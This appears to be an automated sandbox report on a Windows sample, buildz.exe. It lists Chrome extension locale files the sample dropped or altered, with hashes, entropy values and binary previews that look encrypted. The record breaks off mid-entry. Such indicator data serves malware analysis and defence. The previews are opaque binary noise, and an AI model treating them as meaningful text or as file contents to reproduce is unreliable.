Preview:	{.. u...T{8.G......tx`......h.E..v1......54-x.3.`&..n+}.y...Q.\|.....\E.8HE.k.v...)......F.>...L.5..p..Q.._`V..bM.p...a.!. bsE..8.r..u.5^..R...~G3m.i.Q.:n...O.....d.-.5...$.n..y.h..x....%..3.$...o...#8.....L\....4zeM.A.......(.............oO.7O...L<!.b}%.....o...4-...jm...P.......u..G..&...............a..ln..:g<....#......!..[.v.D..x=Lfc.....Hf.'i..g9.(..v.#.....l.+......r ..>F]...}..q...........>.eh..?w..o.nD1T.V._.bd.E`~..Zs...y_..o.2l..........}..%2....r....)8h8.5....3...J....P..\.$....Li.).....m......+7i....x.E....L..U..@...\.XF..l......J...3.8./...............=.a....l!..\?.f....R3..A..PV...zk..>V.Jc.2n.r%.z.9_....y...65.....ET..70..V*.~..k..[.{.P.%....(...T..w...B...BDN...F.."\..c.{sL.E...r._ .W]..-/~D...x.....fi....G...8.3.....~x.a3.Hk.4--v..=......~.....{..9..=Tl..I.".+.6...\.$...a.Ks... .dm..>/..xJ.jE..# .$.].x.L..W.PK...+..YJb..m...:p@...\......)f......{..,SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\cs\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	975
Entropy (8bit):	7.762465815513236
Encrypted:	false
SSDEEP:	24:/fDpPMQ41matACSvuCKOUTewOGxrVyNHuzqbtxD3+sbD:H9u8AAvbV8Fj3yNOebtUmD
MD5:	B5CAB81745A9D529290373D5B42A5BC0
SHA1:	6EC10E1CCCAE8D5BA768FFA5C6AD469C09053B8A
SHA-256:	44A4407B30BF4A582E0A0EAC97C9766C48AF8C6BB948B539842568F550832F46
SHA-512:	7B617759AB7DB3B82AC620E1F4BCDD8C409137E10162DB5651822A583DBA2DC33D5B957F331C40886091424EE212D74F88F6F3939AF141B5A5CAA69455833133
Malicious:	false
Reputation:	unknown
Preview:	{.. t.\P.E......Q.V../....>!3.....'n...!...7...V..._U...T.2z....q.hg.3....=.X.S.g.-{.%....F......RL..G......Z..Q.D?:.. ...4.....0u.&.c.2...Z.6i.e.s...N..oi....lC`y...H...yA..l;.t..X.....#._.>nU.3..~...y8HR.Z...{?..{...t&........'.....3r...}r?.(Z.t... 9C....Z...\...2...G.....yg..=.$9B4..!\|.4..1.=\U...M.z.#.t.(.........u......;r...@..d...6.2RdJ^.-.i"{....S.H.P.nf..+.DZJSjs1]p.......... Qw.q.IPi.y.Y...X....dK"..\|.j.u...n9...+.. ...<....2...,.../.y..U.H...5r.q.`.G.0E.c..z.H.QwK.a...\.%...I.q.=.r..M..Nie9.th.+OK... ...!...Y?......qed+...`..y..+.K.#...dDx"...I..]a....N8N...?...Vtm.q..t..I.6.i.!........8......:.~...{)...0z..,..Nj=..u...S.l..\_..7..{...9.d7..f?F....K....q.Bz]..,@.D....u.I....ed.i-j)Q...0....[.:...&..3}.....-;...KXd..o........s....DZ5o=nvOX...v..'4;.{.[.b;hGZ.@.`....:.n.[.5\....<9.X.o.+.U\| r.jf.{t..2..A...(z..=.I.f.BSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\da\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	958
Entropy (8bit):	7.785738886684217
Encrypted:	false
SSDEEP:	12:SyL/5X1BMEfHob2CTC7SfYXYf8AOh70F0Die8zuyNVYhoECkhtcwK4aVA1qer1+X:vF1BMEfoqUfIiF0eebgVaPjXTI4gbD
MD5:	53EED039FA2987D2105BE60BAF59C604
SHA1:	07E56E0F4EBD73C775997CF9A35AF96746D11D21
SHA-256:	BAFB78E6950416C0E05D2D3F9666E6F686076F0A53DDB3CF32C70C34821E9980
SHA-512:	4FAB606C1CB8CB135826C838BB4721B38CAE4E39DBE4B4A583767D775FFD88A914E2927BFB9AF5A146C7E50DEED5ECF3C97D1184E15E75CF0391A981DC242108
Malicious:	false
Reputation:	unknown
Preview:	{.. ...5....D.;.F.b$.,.sZ.&w.<..(..0.x......0...+..zH.......D ..eD.t='a.xm-...Iq .nf.<..M,r.Yk.......h..".d.L...FL....lN.....T..Z......l)k,w.0...f....X.x....Pp..."o......PE.v....~..1..jxd.M?!e()...G$...p...>?.fIZ...[H.a....-.~.~....]...{.aX...+..:IE=.8.]=.B.D+.Kg=.4d\...aU.b?~c&.Y.D`. ....k....<.C..<W...M........../.....D...M.!..Vl...wB?.r...,k..Y`.~%.m..^.......XW..}_..:.=......s.?Q....4..)^.9.....{e.\\|......._iz....X.L%8.....N.e`P.O..\.....,yi.H...Y:.`].>...3.$..WN..T...?Z....JG.."..~d.S..U.w.R..S......{......l..bt..j0{...4..w.b...........u.....\|......./....V.4G......g=... ........^.f..x.}}.....k.?...6.....m..kQ.m_.Qs\|.#z........DF....@...N,...5..0...1...`m.....X\|x..Rc.c.-,.Q.C.f~..D..&...b.q..8._d..(./.UJ).*...$.Y....K..{.0...%#J."%.G..HH..[+....J...3...%..&..W...}...7..6..3X.....4.....]6..&.g9....?^.KD..23UQ..^.T/+.....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\de\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	985
Entropy (8bit):	7.761733811841285
Encrypted:	false
SSDEEP:	24:n0ixqd1I7kpf/21Yyp+zBMwJLSemcJRaWKD6DbD:0i++YezQzqwJ2s7KDED
MD5:	EF8390DBC2CF93C4ABFB15D6B1A847F7
SHA1:	F619431E0283CD263002E1F6A569CFA9772275F0
SHA-256:	BA8B213E05BF5E21B07F0113196410FA337392737F359454D974E1E4903F97BA
SHA-512:	5DBFF6985B2C544615427DBCF4249834F99875D87111AB8FF55F8DDC0E507ABA5F7422ED8626732E98A4CD16479C0518D2534F3BA03A52552E1A54E74967CE07
Malicious:	false
Reputation:	unknown
Preview:	{.. -.L....z.f...A....=Pn.e.K.8....i.....2.....l.}.3.Q.'Q.....x.$...Y...,.CKT..l.`......t.-.7..[......H)...e.\/8....<c..G..3...$...V.)b.+'.(..j.. .}.4.5....5.q.\|.5..?.q.76..,&.F.s.0Z4.ar.......ZT:J...Y+..w=.c.E?_ln.....!?.s..>Q..&...,Z..z.Ibj. ..%.lS.-....~v!..0.@...."....-.s.......l_h....0.....D%.v....C..`...Jp....`.@...o?...XU4oMW......$....Y....r..~N.^.\|.R.#.8}...hU?....q.E...C...+.....`./.#.&....&.)3{....Nf..q4.'..UT.x. ..r..f+....<..N..4.6c..8VG.L..rv.0....W`....w..m.6\."...k.....i.;..cha7..g$. .~...='XD.G.~.S...H..JA9%.l:.:N..n..Rw2.......Fi.[b....!?.f.d.hF.m~.U....j.+E.}R..8...Y..OpcC...J..,..[l-...mE.M....$Cb.n.r.....ri...h\|....PR. .._.e......4/`.G..i.O......A.{......31B.F.&k.<9vz#{"W.-B.W&...C.NeqJ...s.HhT?.:.~....,.J..B.>..j....J9..[.cfU7......$..>..*..l.9...W.{B...L.%....i.uj.?n.[....`E.,F...r....$..A..D............FfD.tz.....D.hA.O..PSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\el\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1121
Entropy (8bit):	7.812124064197116
Encrypted:	false
SSDEEP:	24:cp5bPBjYoin1hp7OeIZSPyBorsP/o4PRGrywoUjjFXt7TofL86NZw0v93bD:cp5bPOhp7O7ZL9PBZGryAXhTGlZwSLD
MD5:	EB6B0C3432F9B2B82798B5CD083ABBD8
SHA1:	45574C36E069B661D27CAD3AC25F6A1CD2816898
SHA-256:	C66E3DACA733A8CA1BB11E84AF4BE8B8F8F0A6E4909EC9DC2C2D1D4E3C63B25D
SHA-512:	567F9E693F8D87D9AFDBA0DC6D4FD6BF4CC46D7894049BFE41204239C9882FF21FCE68E475F53A136450FA218C47B77FE34B458C2E358B8A5C89E66A3078D1E2
Malicious:	false
Reputation:	unknown
Preview:	{.. m.q6P._]\...j..j..q._qL...28.=.z%a...G.[.T.w.-.yIJT..$..8....U.../.....^..$}BwC.......E.M..BKa..}.......&g..r...<.JH9.n3..VOq3C.].Um.k.lOH..p...k....\|"q.vJ.?..j..Y.P\T.<..2.2.....u......J.{{....0.6.._1....v..`Vm..Jf.I.`.....f.'T.r......?.s....J...^..Fn.=.N.@d...%.......n..,.a...d.....r-.....A......v...F...4.QQQ..#..{t....N..u!....ON.-h...,..l.9.x.a^;....i.."..g.f.i.rB..B......S.f.}.'@.\=`e.2....Y..m......XN...N+..9....(...d4.M...(/....l.;# ..K0.e.71....8...R..{.......k..2.....#..Z}.5.N.;...0.$.L....}P.......v0'c[+.+...... JG.V.dn&l....^.m..R..u..R.p...T......3Yx.h...r.....v.:L. .n.....w...?.....8x....+b..n........b.h...K7/....j...Y...~61..U.........l.i..H..%.e_zJ......;.IeA4.x..x#.g..FP..Jju$.t.....E\%..fl5.)1$..\.6..r.E..Y.[.H..{,...\..!.B*)...{.`y.....`...d.%,S...&..E.B..eg....W..i....{...^..dMD.KH^%.....%n.=..~'..X.j.F...d.GE..[&.{Lu..4h...9f..y....6..s....U....i...M\....(#......3t..4.....F......7c.xf...\#..B...\.Kw=B.....$3.k .a4

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\en\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	927
Entropy (8bit):	7.769272009737414
Encrypted:	false
SSDEEP:	24:5ohVMdOLPhywBJegumVgBH/wLtWJaBQ2ozLpd7yVbD:5lONycJe3/wLtWqQwFD
MD5:	AD02BF5D6FF595ECC9FA53477D7B4C55
SHA1:	C526C9DA893D940F482A540AA937B087F4971C3F
SHA-256:	5049F88EF3C2EFDCA3791515E5517D29C7B9F75F9C4931F402ED114B53B1D63D
SHA-512:	F064921091E9627BA81D738197BBC96FF890340C16F31BE6ACD2F44DEFEE2E6082311DA7DCE838B7957F297215AD69A5DC8A79A5BCD14D3DF6E56A18A0A38A63
Malicious:	false
Reputation:	unknown
Preview:	{.. ..)......9...q......f..\|.9>.5.\|.eI6.;T.....y.JR..1.+.P..A...=.\R.....F.Q.F....m.Y......0....Z.z....z.}a...r.,......r....?...9lc.HoF.Gs.&.8P...kK.Q....' ?B\.6.....)..._.4?P.].a...]x...E/..B..9....%.cP....]..../..AJ.......p....E?i..{..,d..b...#)....&JL..A.w.....jh..<im....K..kM....c..R..o?\K..nU...e.{....Y.0..=> .............n........#X...HX.n.9~d...d\|.f5.......K.AR]kn.s...e%.b...^.q.ZE"M.`M..6b.....a/.f.....l..0E.W.f.s_.H.j..>.).MnZ..>...=.....F....-...r...V.vo.Dgp......c.b...mt~.Y.....e^....[....!Y..`......&^..4.Fl.........z..e..=.Q...Z....0QC........'. 2.......4.....7y.;T..Y...$....9Ug`zQ....s ..MB...,.R.tH...9../]9...c.7..3us>..+K...M .r<"./\lx.~cf.1....J%......,.U%...xJ.R.I..jg.V......sj...5.._....b..q.L.J..)7.GE.=#m..r..r:t..q=..n...&L..[/ ..).h.oY}3a...Vx.p."R.g....E}.o..P......X..e.-?.K.....p..W.q.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\en_GB\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	927
Entropy (8bit):	7.779412001856487
Encrypted:	false
SSDEEP:	24:J3fDiFygYndmotP380TgfB+4vtx1vC2/pdxQhKiSzCnmbD:ZfWknUZ51x1/BQhKnz+0D
MD5:	DD7760FCEB69E13292F5DB2EC6C4F0D1
SHA1:	E2932C0D022AAD66E2074E0EBD85E16EE3A9ECBC
SHA-256:	A5574B49694A90E1300A317FBEBA95A52220ECB26A25BE55240A65563243793A
SHA-512:	F1D526F37B37C8399FDA856678A0AFD9AD571D8834FC254D8D1EE05A3E9EEF5F5EDC5E3F3EB6D08D0BB6F9D278A00CDB020F43C59B2BBEADFD5E5B2DDC4D19C6
Malicious:	false
Reputation:	unknown
Preview:	{.. ~}....\.a/..H..R@.L..{f..C"Olts.K/.;.........E...yMS..C..D..8.R.F...gg=9.'...NJ."...P].....u+.7.........p.ac.~...1I.B.S2.}.D.25....?...H\|[x.x...Wch.....l....p..C.f.....\.j.Xf2.^...X1Y..".........B..{Q.[........M_..A..8.S9.'2...<......~..G$y.xv...!\|.0-...6.u..I...G0l{.m..c].N.... .iM.:..&JWL.aT..&.s......s.x).iw.`...%.........IL........p4..nG....vh../..d.1.../.r(7.^O.1\|e..\|.. `....i....'}.c......@Y.:dt.I..;V..P....k..6....f.i1.=..0F.q.\|Q.r.rp..B.......U.0.9y.R..:.~./q....h...Q..b.....8..J..x.C{..p..$..6{ApN.....$..]e.0...i\Q..PD....P.{t..(....!...{4.'.p.9.By....B'..m....T..bN...\.~..@...n.....i..?.o...O..X.........E..H..t.U.j.. .@.......>.or.....d......;...Z..u.....\.7^=MT.h..g.<...!.......k3:Q.}..p.'.g^.qgo.;...!p.R.y.7..&ou.R/.P@x........I....c/.uD.........rJ.z{../...>...T.....u..#...?1cle\|.LC'V.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\es\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	995
Entropy (8bit):	7.825337478566971
Encrypted:	false
SSDEEP:	24:DSYiqtTsFVZw56i0mjsCl+GXD434+9N/dcbD:uGQIFw4D
MD5:	B0F5666C9227F14F31C524AC2B0E4560
SHA1:	B398D0617612F5F05DD1457E8349272D35B793DF
SHA-256:	D86C0702F831CB55A1AE22448F076B2F2E80395F86A67360AC5612160FB814CB
SHA-512:	426E39E434406B25C3C4DD4DC367F9E273E1CAF65B359E15108173F02500A99608555BF2E1A320F0614C429FB38425774A17C1892D86A7ACEBC43B381FEC5D07
Malicious:	false
Reputation:	unknown
Preview:	{.. ../a.....Cr.q.og('../.+.....f...Fh...e.....M(...:..e%..b.?q.C.....D.QOgh.R.X.h....c.......7C..D@....e.....JU...d.Hh..VV. ..........e+>l).D_..4.^.b...1..P.u-b.....L..$.....8PgK......4.{..Z.u.......`....n..5..\h.h.V5s.b\|.....:.........H..-K..8hv......cmyW.....././U<dQnT.&...G9..z.Pg.J..T~.7\\J+.g...W.2...zm...0tz.."[...\|.......#?.....[.E.kS.;V.=2..o'P......:q.......\#.4..u.z.}H........p.J.5$5<....q+.X..K....].u..".....9r......{.G..7I.I,Ro.gi..=.H..On.!..`.82.......O.p......M.O.......>k.`.o.f....'moE..i3..,.....3Vz'Z}a.u....j%^^.A..bk......B.r..5.c..Y...d%.J.H24Y..MA..^.6....&..YnQ..=..)..)[....,mr.......8.U.V.1q.....H..:...\..._.i{9S.%..I.-..m...W.E@m...o...m\|..kc".....G.4l..ID..U6.0....b..1...;...m[Ro....>.4.x]#q.Gq3.s..X>.;;.....R3Sv...ZKO..N7...c&..>G45...*.l4.%.QnfL#...5... ..O......d/..wk.._..3o:..s.0..-.j....]Q...........Y\|.3...R..$. .y.s.I....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\es_419\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	971
Entropy (8bit):	7.788728391470365
Encrypted:	false
SSDEEP:	24:oeck/8lPB76H4llCfGuaZVVz2pcOBIYyCsbD:l8lPN6WlZV12NRHmD
MD5:	2C14F827451672FF0B256C175F8E4FED
SHA1:	AD133CF7FF50073A664AFD9267B519324FBFC224
SHA-256:	F92CF88458611C7454DE3657A2F5145BA892087C43973A77928DB580968B6F2C
SHA-512:	F2B57290D2E163A566660DE67F53D43F7949074F765926675BFB44D1B5A26F0B3DBF7CA100B7034BE8A39F870F93AEE1780A57035C32674AF59F8F663A88842D
Malicious:	false
Reputation:	unknown
Preview:	{.. d...4>.......X6.q.....@.(.&^...,......~.../.....J1.j+X.{2ITm.H...)-.....8.x.B].....aa[....bPt./.6...\.V.UDj...{w[.....S.j.!.5..c..N..!V.Y1.%....3..&.Pd........y..i..%...K...H..Mq..7....,......:...W.R.....X.......`g..]...{E...5...^2...v.>..c[...pos"h..w..A.htOv..............VlC....VC...,.2.T.7..Nd.7..=[N.p....ZH.m>a..A.7..@.!xU.l...V..D\|.7....Vs.(.pu.{$^.X..{%.....il:.5.....C.PI.l.19.G.....n..u...q....q.k.z>..yu.0n.=..+....!F...._Le/..}...v.c[....Y.......NC.v.......^...(?T.J.....}........\|.d..:.%._...J\|...W.#..u,...p R.b/.~...`.1eL.E..Lu.&..=.....)./-..i..).p..g.X/=..?.4K.O..y2.....}.4...K...q9.{6...f...m..p...v.b,.FX9.'t....1.jhh...W=.;..c*...g...M1rz.S...)....S...h..O}.Xz.r`$.`..GBM_Vu..:.............kXF0E....N....-..1..,^S.......:...m.L...k......Q.....k...qW.q...6.~Z.^9....\|.....?..&;>`.Z^......d..`Fz...f2..8q.&...gG..r.I...0..^....h..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\et\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	929
Entropy (8bit):	7.764168529110179
Encrypted:	false
SSDEEP:	24:SIVLc1tdwoqJrQcoXQDag6UQrpQotnC5wszIh5DbD:S/qJrQcoLVQWnC5z85XD
MD5:	630ABB53C225DEE8155B21AA92E25D90
SHA1:	3C3D9AC407617A09A46BD9D536FFAE25EF27B060
SHA-256:	9EB788D0C095D9126BD5B9B1CA081F5E0B35D746BD9575D6CA6A5217CB87C396
SHA-512:	FA59778FD551051BD6F15E81E0DD2E18175B3F0646DB533F4B381737EBDE4E38B8A0B7D4F6870991FD728BE4DB6ED57D66220FDD2D887F2A6DE668298E04D756
Malicious:	false
Reputation:	unknown
Preview:	{.. N..j....p[...Z.,y.g@.t&...z@.h..q8..k.w.O,.h..V.O.....S...{.5I.?...../....z+M._..".....".=.....B.I."1...j....3..5...........ZL_.ff~..}e...=....GV$^.$.SY.....`c..['L.S.bj..b......2.[.......K.ZS...bU6...a...s..=.....X..(.....p... .]..M.H^..`[...a.....')%....{.J.l8..c..i.9r....Qos7B.W67h}.5Hi....U.U!-.$ZBav...R..\|..y8JY..lw..%...3..L.{...$.i.#...p_e.6...sVE3x......N.i...#...+..FZ.~u.R..a..R..\|...A.".....9,^B.JVXn.U.Lb.F.4s.L 4.N....<.V.9I.....!..n.L.M.m\t}UgQ.F.W.`......)6.."8r....).."..b...c..A0j%w.V.W0.....c\e>:.k.fK./.=.0..=..2t...0.q4L..\|..>{.#..... .B_. ..VsO.H&..OL.s^E\....y..7...g.k`.Nj.o....(.E'............E....7.`BQvc.q.5.g.(n.m....4./.X.....I.p.h.>.l.....l...Mz6..Dr-..sHRh.d..$.nL....38.^....1...<.{.r![.F.g.-.........hr..T...S..w.'r\|..A2..u.......3b..I.?..g....U~V..%...p.Cn...O.[.I....W.8..sSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\fi\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	981
Entropy (8bit):	7.762705135542725
Encrypted:	false
SSDEEP:	24:7j4qDIN7zl8NFs27Wfr+rLXLAb4zAeFA2I9O2RALbD:/rM4F1WzsLs4zxg9pR6D
MD5:	B9A8EBA92C6CB61EB0A9787774737E72
SHA1:	666C647218C9405EA44024880A4BADB02B1E38DE
SHA-256:	90FB7383689ACB717503C88C22FC5C770D560B7FF23B89BA3671E0832E93CE48
SHA-512:	00208362FA3FBCE276D4976F9F09148D4DF3D00B87831DAE3ECAC4F757EF69CE6BA964F41825A604656773D8EA6960E1922F3D04CC1FA5D856F6B0E874C3A453
Malicious:	false
Reputation:	unknown
Preview:	{.. +c.\........Q J..d..9.>K..'.Sis,...<..9..'.K..P.Mx.(w...J4..U...l..>...V._%,v.^g.O...Z.k$EC..n?o...:.i.....a{..a4h....a.j..'[....s..9..5.........W0s.kYk.e%wM9.l..NYj...5.U.1\.N.......X.i.k.%...,6t...S..sX..l...9%..?6$......h..LqM.w!..4....~F(B\{./......h..j.E..9.~.......l=...@.\.....[K.5:[.X..I......MJ..!7...g.xt.^....\|4tx..o......F.Y..]j.7...........:...2w..JO.e.'....n.i...4...2l..D.0.N.z.0I...!.......O.:.".>.[.:.M........l2......(..O~..m.f...."Q..3.....O.N....v(.I.OXmhDR..oH.K......\.......F.2.qN...`...P...vc...'.f....2....A..,.d....<.j..iK...4.a.........j............(..e.P..gZ..m....u..*L...sQug.l..U.....d...W3..zL..l....9.....F4.QZ'.sYf+.^L.MX#.r.... U..Cw..i<..F....f.~$./...~......\=\|<.....G.H=k.R....LD. .<R..p.....B..4...#%K.$........P.^.:f.....;...D).k......},.\>.O...4V.J..12..^<...o/...."..I..:;...6.;..v.l,..qU.F.3..[......S.U..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\fil\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	992
Entropy (8bit):	7.775619594384533
Encrypted:	false
SSDEEP:	24:doPyeELpbNQPNKqSiulBB8mqBSsaCGe4pqXHJS6+BD64VuIbD:dzeEYPNKQKgBDaCGlpUpSN6mFD
MD5:	422AFE19EC19848E3DCC7E45E42C32D1
SHA1:	1BBB0D8DD8AFE2DEAA86CB99DE89217347C6FD0D
SHA-256:	792EC3F375DF4A4A232295CE2A2959DCFDCC3B48399B0DD2BAB2F379F0CD0CAB
SHA-512:	8946090A5EA9710F05DDF2024C859B720D4E7953312A5585062B13BEDD2043A1781CEA8C66D025F9DCB63DE602E60B587C250D5D11384A875EC7AEF8AAD65829
Malicious:	false
Reputation:	unknown
Preview:	{.. ...x....@.J....,#..X..I.J.5...5..b..."0.nN.VT..;...x=.^2l..'X........Upb0..W...~........54z<-8....7A....B....7\|....Q....X.s.iB....l..k..e.T..3.?..TaK......-H..a..X..I.\|f...d:...sG.9..m..._..4......k...[....?...&...g.".rK02.JE...\.(+.]...U.y\.F.....[..Y..+...4..YF...2..R.C..... ..h.4..XM..Mo...L.Rk{(....#.;..B'.!..T..S...!4.i4...?............m.../.....w._......A.y.....5.z.....e\|...X..K7....C.......;.?.~.8\|.Hh^ 4YP....X....@...P.&...#8.F.)....?P.U.\Q...h}f.......V...\|.>._.D%....C...S.o`.2.'.X.+...l....a^..`p.....".:...9.w.3.-[.(ZdA.nv...v.O%...aone.9.b.l....Dxh\|nP...m.,3Y2'..n.ohr8M.....%P.#?.!z.M.p.a......q.o.{.U..dGG...,.Tx..W...[../....W..-........Y..L.G.X.-...[$...Hg..X...Z....s..AG\..h..\.l.tS\|U...U..a...[..V.@.(..K.e.w...).xc..p.f.Ra.<^JK;..# ........3...F...9o.$.:..y..S....W.A.+.@X..2.+ ....9..>..#.^.W.H..dF...,{..p...s.9...o.wnU@....\|.lige..>.y...gp+SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\fr\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1011
Entropy (8bit):	7.7630899443822345
Encrypted:	false
SSDEEP:	24:NUPV/U7qmtvQG717oPQHSdDlBl2HK3Ky2zYX+Ovzm4M4NPAuoBoodbD:Nes7qmtvB7FoYHI2HKartWzm4XAuoSol
MD5:	4318576941EFFA4E041DBAB878DBB9F0
SHA1:	FCDA1AD1F3C5DD831505BBF46515820592476CCC
SHA-256:	914C0D2D96F53DCD60E919ADC4CAE4EEABB9DCA345BDE05B3E978D0CAE2ACE70
SHA-512:	90F91AA1EBDCF637C00F60F325FEE7F8C16B1FC0F8A84E9B6EF155B0C5A3BD082087C050B68230731A49694DB7D1EF9ACC72F7AE3AB85E02CED7F489114EF125
Malicious:	false
Reputation:	unknown
Preview:	{.. XE.?8....K..I.....p....?..ah..WQ....Q.6.q...(./....+4.w... .N..\..OH......(/.....'>...$f.x.+,..e...y..i........yE.....p.;....GO....n.;..m..BA.'T...%..i..M....R$SMt.k.N._.6.@...F...\.!...&1....0.?%C.K>.D..y..#\....f.\|!..\.v...iO{X...B...x-053..c.\|MA4.=&...A....7\dZi{.ZX.P\(....Ev..U.b;..)_T.Z.cg.....ll{.:.... uZ.=..N...\|Z.cw.........k..5'..)......E.LfW.....5...0...N.%R..........$.D....B.yb.UH`.....OJ.. 7... 9_..ehI.]p....'.@-...$..G..O...!.z.......HX..iT,..i.../.U\.8.1....0wj.i.....bf.&W.`.W9.=@..ih..;...9...j...T.n.Y0...D.....1..2....\|..T........].:.]p.o<(h'Nq.\..X..Cj7C...=#.a.I..M.'......./..x...KvI..s..M.vT....aw...9...1J..1..`.U.....@.8.r....Zd..=...T.]`O..Q..0}.9?..D@....<........`..o....F.`.........L..b,7 .....1.....(...R......@.\...a..?[. ........O.9...~N...%... .#.A.6.A...a...O.CW]+...N...<..r..........q.P....S..._.F.jO.aL.8......P......P..Q..5nP1.....Rs.W..+SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0E

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\hi\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1169
Entropy (8bit):	7.828741032146409
Encrypted:	false
SSDEEP:	24:xXW/KoJp6zyOehaP2VQqA81QH9JUecNRqFWsyW7rw0SOTtDX60bD:97oL6U/QqAucPtqRgWRGuOJDXpD
MD5:	6304DF18061CB93FD54480D44F11C906
SHA1:	5D11C153C196031C7C2ED9D83125B21CD0778728
SHA-256:	18CCF05FA03375C0D0B0D078EA61A9B1A32D9D5DDF29FAD3E7F0829D359F827B
SHA-512:	182D40E5939D2A58806C38D083A38CB19D7DB6941C38BA21681A7E8E1AA84E1E26B1EE329E3BFE2766C4CFF2711E2E4DBF83D6C2C5D5A94DEEA6C35212D8931E
Malicious:	false
Reputation:	unknown
Preview:	{.. ..."?.}.%x.,S! ..^....N.....6.,.4WG....m...d.....u+...J.ib...R.X.D^@.As;.`Z"&..A..>.Kn.....L.`....w.........F....=q;......a!.v..k.....J&D..../uG.c.....2<]]..nD/.../5.w...=.E..-...D..b..L...T....9JGH.....-....s........2.A..L....D"x..%.R.<.&...DX...-e.....P.hZ..J.S:.._W..(.......$ 